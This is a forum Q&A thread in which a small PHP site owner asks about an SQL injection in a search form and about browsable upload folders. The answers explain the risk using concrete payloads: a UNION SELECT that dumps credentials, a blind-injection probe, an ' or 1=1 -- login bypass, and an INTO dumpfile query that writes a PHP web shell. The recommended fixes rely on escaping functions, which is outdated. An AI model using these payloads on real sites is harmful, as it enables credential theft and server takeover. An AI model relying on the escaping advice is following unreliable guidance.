CODEWITHSUNDEEP
sql-injectionsecurity
vorillaz
vorillaz

Reputation: 6286

Website security, sql injection and file permissions

I am building a very small website (with PHP) and I have 2 big issues The first one is about my search form I have build a really simple search form in order to retrieve my content, then I used an online security tool and show me that my search form was vulnerable to SQLi I had no idea abut that so I started testing some attacks I found on some sites As far as now only 'OR 'x'='x worked (it returns the entire content of my website, is this bad? How can an attacker hurt me? The second issue is about my photos, I am using a folder called mywebsite.com/uploads/ to access my photos Although /upload is protected the subfolders uploads/temp and uploads/thumbs are visible through the browser May this be hurtful too? Any advice?

Upvotes: 0

Views: 3104

Answers (4)

SamarLover
SamarLover

Reputation: 182

SQL injection is really bad but i like it :)

there is many types of sql injection like

remote sql injecton
blind sql injection
auto bypass sql injection 

 **Remote sql injection**

its the easy way to get data from site hacker use it like coders see this example

mysql_query("SELECT * FROM `table_name` WHERE id=".$_GET['id']." ) ;

There is no security in my code

site.php?id=1

my query will execute like

mysql_query("SELECT * FROM `table_name` WHERE id=1 ) ;

if hacker he will kill your code

site.php?id=1(any thing here can make problem ex: ` ' a-z A-Z / * / " )

Because query will be like this

mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;

so single quotaion will make error in your query

and hacker can attack like this

site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users

here your query will execute like

mysql_query("SELECT * FROM `table_name` WHERE id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users) ");

and this will work :)

blind sql injection

hacker cannot work with easy way remote sql injection

because it here depend on right and false

so he will use and or

like this

 and (select user_name from users) ;

if work fine the script will work good else error will happen

he can know database info like this

example admin table is admin

 and (select user_name from users) ;      x error

 and (select user_name from admin) ;      fine

auto bypass

its blicd sql injection but only true condition can access to admin

mysql_query("SELECT * FROM `users` WHERE `user_name`= ".$_POST['user']." AND `password` ='".md5($_POST['pass'])."' ");

hacker can login like this

user = anything' or 1=1 --

so your query will be like

mysql_query("SELECT * FROM `users` WHERE `user_name`= anything or 1=1 --");

anything is error user in databse

but condition or 1=1 is true

-- will ignore your password check

he can access easily

protect

addslashes _ mysql_real_escape_string _ intval ( with number only )

folder premission you can use

empty index.html , index.php ,

Upvotes: 2

radkappe
radkappe

Reputation: 1

Ad SQL Injection:

  • Displaying the entire content can be a problem if you have unpublished articles or articles only available for registered users etc.
  • Try reading more on SQL Injections. It may be possible to execute a second query that inserts new data in your database - or worse changes data (for example passwords). There's a lot of reading material out there, a start could be: http://php.net/manual/en/security.database.sql-injection.php Sanitise all your input and remember: even if you may not find a way to do harm via a security hole it doesn't mean no one will find a way ;)

Ad the folders: you mean that any user can see the content of the folders? If so, users may see pictures they shouldn't see. If you had a good reason for protecting (no file listing?) the main directory, why not apply it to the temps/ and thumbs/ subdirectories?

Upvotes: 0

lynks
lynks

Reputation: 5689

If you allow SQL injection, an attacker can do all sorts of bad things to your website. They can inject code to DROP DATABASE, deleting your entire database!

If you are logging into your mysql as the root user, they can potentially write to files (and create) files on your server.

The injection;

SELECT '<?php system($_GET[''cmd'']); ?>' INTO dumpfile('./command.php');

Would be a common first step to breaking into your server, allowing the attacker to execute arbitrary commands under the www-data user. From here it is trivial to recruit your server into a botnet, use it to send spam (getting you blacklisted from sending emails), or simply delete all your files just to ruin your day.

What you must do, is to sanitise all user input. So, in your search processor, you must escape any special characters from the search query before passing it onto the database, you can do this using mysql_real_escape_string();

so;

$search_query = mysql_real_escape_string($_POST['search']);

It is then safe to use $search_query in your mysql query.

Upvotes: 1

galchen
galchen

Reputation: 5290

SQL injections - it's bad. someone can run any query he wants in your database, find passwords, delete your entire data etc. you can avoid it by wrapping all user input in your queries with mysql_real_escape_string

about the directories - it really depends on the accesses you provide. if file listing is available, it doesn't really mean that someone can make changes/execute them

Upvotes: 0

Related Questions